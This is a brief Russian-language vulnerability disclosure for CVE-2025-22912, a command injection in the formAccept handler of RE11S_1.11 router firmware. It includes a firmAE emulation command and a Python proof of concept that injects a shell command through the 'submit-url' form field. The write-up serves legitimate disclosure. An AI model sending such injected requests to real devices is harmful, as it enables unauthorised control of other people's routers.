
CVE-2025-22912
Во время стажировки в лаборатории Qi An Xin Tiangong Lab я обнаружил уязвимость внедрения команд в маршрутизаторе RE11S_1.11.
Проанализировав файл webs в каталоге bin, я обнаружил, что функция formAccept содержит уязвимость внедрения команд.
Внедрение команд может быть вызвано значением ключа submit-url, что приводит к внедрению системных команд.

Используйте следующую команду для эмуляции с помощью firmAE.
sudo ./run.sh -r v1 ~/IOT/RE11S_1.11/RE11S_1.11.bin
Содержимое файла poc.py следующее:
import requests
url = "http://192.168.9.2/goform/formAccept"
data = {
"submit-url":"touch /tmp/xyq"
}
r = requests.post(url,data=data)
print(r.text)

Видно, что после выполнения добавляется файл /tmp/xyq, что доказывает успешность атаки.